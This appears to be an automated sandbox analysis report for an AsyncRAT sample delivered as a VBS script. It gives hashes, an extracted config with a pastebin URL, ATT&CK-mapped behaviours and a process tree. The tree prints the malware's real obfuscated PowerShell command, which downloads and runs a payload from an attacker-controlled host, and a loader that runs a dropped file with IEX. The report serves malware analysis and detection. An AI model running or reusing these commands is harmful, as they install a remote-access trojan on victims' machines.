asyncrat | f18b89650fa93a5d72575293d09140f57e9b390ac1079968b3f3b2b53cbe6663

General

Target

a823fe41d388ef2f59ba4ed377c6d4708115a9551089d95f066e116a608b8613.vbs
Size

5KB
MD5

d320aea9453c098f7b07ac1da85a9e7e
SHA1

1fcf8469a5b7197cca73c9665f43505d7a6c6ae3
SHA256

a823fe41d388ef2f59ba4ed377c6d4708115a9551089d95f066e116a608b8613
SHA512

2d883ac60a84b0e919274daec84bc5a6dbed9f1eb40f5dab6c1473d321211e245a27dcdc2ed4e9f9ed7ab9e08048ee3d34da333ad5cb950a2d934b59b20fb7bd
SSDEEP

48:epIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIjIrOTTS:etPXyTuGZOrHTu5Viajr

Score

10^/10

asyncrat new-encrypt discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

New-Encrypt

Mutex

AsyncMutex_alosh

Attributes

delay
3
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/M1nmWeTA

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

28 1344 powershell.exe
46 1344 powershell.exe
49 1344 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4396 powershell.exe
2900 powershell.exe
1344 powershell.exe

flow	pid	process
28	1344	powershell.exe
46	1344	powershell.exe
49	1344	powershell.exe

pid	process
4396	powershell.exe
2900	powershell.exe
1344	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

32 pastebin.com
34 pastebin.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

45 api.ipify.org
46 api.ipify.org

flow	ioc
32	pastebin.com
34	pastebin.com

flow	ioc
45	api.ipify.org
46	api.ipify.org

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process	target process
PID 4396 set thread context of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 2900 set thread context of 4000	2900	powershell.exe	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

aspnet_compiler.exeaspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1344 powershell.exe
1344 powershell.exe
4396 powershell.exe
4396 powershell.exe
2900 powershell.exe
2900 powershell.exe

pid	process
1344	powershell.exe
1344	powershell.exe
4396	powershell.exe
4396	powershell.exe
2900	powershell.exe
2900	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1344	powershell.exe
Token: SeSecurityPrivilege	1344	powershell.exe
Token: SeTakeOwnershipPrivilege	1344	powershell.exe
Token: SeLoadDriverPrivilege	1344	powershell.exe
Token: SeSystemProfilePrivilege	1344	powershell.exe
Token: SeSystemtimePrivilege	1344	powershell.exe
Token: SeProfSingleProcessPrivilege	1344	powershell.exe
Token: SeIncBasePriorityPrivilege	1344	powershell.exe
Token: SeCreatePagefilePrivilege	1344	powershell.exe
Token: SeBackupPrivilege	1344	powershell.exe
Token: SeRestorePrivilege	1344	powershell.exe
Token: SeShutdownPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeSystemEnvironmentPrivilege	1344	powershell.exe
Token: SeRemoteShutdownPrivilege	1344	powershell.exe
Token: SeUndockPrivilege	1344	powershell.exe
Token: SeManageVolumePrivilege	1344	powershell.exe
Token: 33	1344	powershell.exe
Token: 34	1344	powershell.exe
Token: 35	1344	powershell.exe
Token: 36	1344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1344	powershell.exe
Token: SeSecurityPrivilege	1344	powershell.exe
Token: SeTakeOwnershipPrivilege	1344	powershell.exe
Token: SeLoadDriverPrivilege	1344	powershell.exe
Token: SeSystemProfilePrivilege	1344	powershell.exe
Token: SeSystemtimePrivilege	1344	powershell.exe
Token: SeProfSingleProcessPrivilege	1344	powershell.exe
Token: SeIncBasePriorityPrivilege	1344	powershell.exe
Token: SeCreatePagefilePrivilege	1344	powershell.exe
Token: SeBackupPrivilege	1344	powershell.exe
Token: SeRestorePrivilege	1344	powershell.exe
Token: SeShutdownPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeSystemEnvironmentPrivilege	1344	powershell.exe
Token: SeRemoteShutdownPrivilege	1344	powershell.exe
Token: SeUndockPrivilege	1344	powershell.exe
Token: SeManageVolumePrivilege	1344	powershell.exe
Token: 33	1344	powershell.exe
Token: 34	1344	powershell.exe
Token: 35	1344	powershell.exe
Token: 36	1344	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	2428	aspnet_compiler.exe
Token: SeDebugPrivilege	2900	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

WScript.exeWScript.exepowershell.exeWScript.exepowershell.exe

description	pid	process	target process
PID 3296 wrote to memory of 1344	3296	WScript.exe	powershell.exe
PID 3296 wrote to memory of 1344	3296	WScript.exe	powershell.exe
PID 1360 wrote to memory of 4396	1360	WScript.exe	powershell.exe
PID 1360 wrote to memory of 4396	1360	WScript.exe	powershell.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 4396 wrote to memory of 2428	4396	powershell.exe	aspnet_compiler.exe
PID 1344 wrote to memory of 2900	1344	WScript.exe	powershell.exe
PID 1344 wrote to memory of 2900	1344	WScript.exe	powershell.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe
PID 2900 wrote to memory of 4000	2900	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a823fe41d388ef2f59ba4ed377c6d4708115a9551089d95f066e116a608b8613.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='repoooos(''http://megamart.mywire.org:60027/comcast/dddd.mp4'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\TvMusic.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$resberrys='C:\Users\Public\Music\TvMusic.music';IEx([IO.File]::$usefont($resberrys))
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4396

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2428

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\TvMusic.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$resberrys='C:\Users\Public\Music\TvMusic.music';IEx([IO.File]::$usefont($resberrys))
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- System Location Discovery: System Language Discovery
PID:4000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f95a106f047fea9403384bdf9fa33c43

SHA1
ad4629335cc30cec6afa9cb2ac2d22d740963713

SHA256
8ccbc7a63e9810f68b2bf16eb67b63ab7fc3da2a449eb0fb892c416f15a81192

SHA512
fecf14d1558b574bb40b65e9b5746f9f7468a8df1b163668d963b886a3746b908642bebc82fc5a5753ca0ac0d6adb9cf2381a6438a52d42f3c55ae73db469574

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fgv3xaof.bfc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Music\TvMusic.music

Filesize
436KB

MD5
699160a16bdf0536e0fa69adcbab1e19

SHA1
ae8a6be22f05e119e7031edc79fb4a21f1268500

SHA256
4e7889d60aa6df54e7b646e8ba30befa9bba6ddfca3ac1a5894429e0caa86295

SHA512
bf2b94320790d54a3c30a57a34877f5d5d55e918943f1180fef50901b86b61e1bd48dd8c7af0a1a82de7f0b0e2af7b65dc6471fc616846c4260811c2ddc5c145

Download Submit
C:\Users\Public\Music\TvMusic.vbs

Filesize
229B

MD5
66a1516e1d1e821084441211567d2e87

SHA1
0e688c9a93ad2cc162ef48ca75e0148e69d95ab1

SHA256
d57293641ff05fea6af21fb73a4064eca49e5979f2395305bdea2a00a5de6717

SHA512
1b77505b03a4a9c2c9437fbb94e828f34ed5b74187a258443af778b9450dc346e7027267e4ad6d33ff96c4036d936eba9dee05efbe136678bec6d0f7b68ecf12

Download Submit
memory/1344-40-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-42-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-12-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-29-0x00007FF8C10F3000-0x00007FF8C10F5000-memory.dmp

Filesize
8KB

Download
memory/1344-30-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-47-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-1-0x000001797F1B0000-0x000001797F1D2000-memory.dmp

Filesize
136KB

Download
memory/1344-11-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-43-0x000001791C300000-0x000001791C828000-memory.dmp

Filesize
5.2MB

Download
memory/1344-17-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/1344-0-0x00007FF8C10F3000-0x00007FF8C10F5000-memory.dmp

Filesize
8KB

Download
memory/1344-41-0x000001797FB70000-0x000001797FD32000-memory.dmp

Filesize
1.8MB

Download
memory/2428-39-0x00000000061D0000-0x0000000006236000-memory.dmp

Filesize
408KB

Download
memory/2428-38-0x0000000006710000-0x0000000006CB4000-memory.dmp

Filesize
5.6MB

Download
memory/2428-37-0x0000000005E90000-0x0000000005F2C000-memory.dmp

Filesize
624KB

Download
memory/2428-32-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4396-31-0x0000013F37CD0000-0x0000013F37CDC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads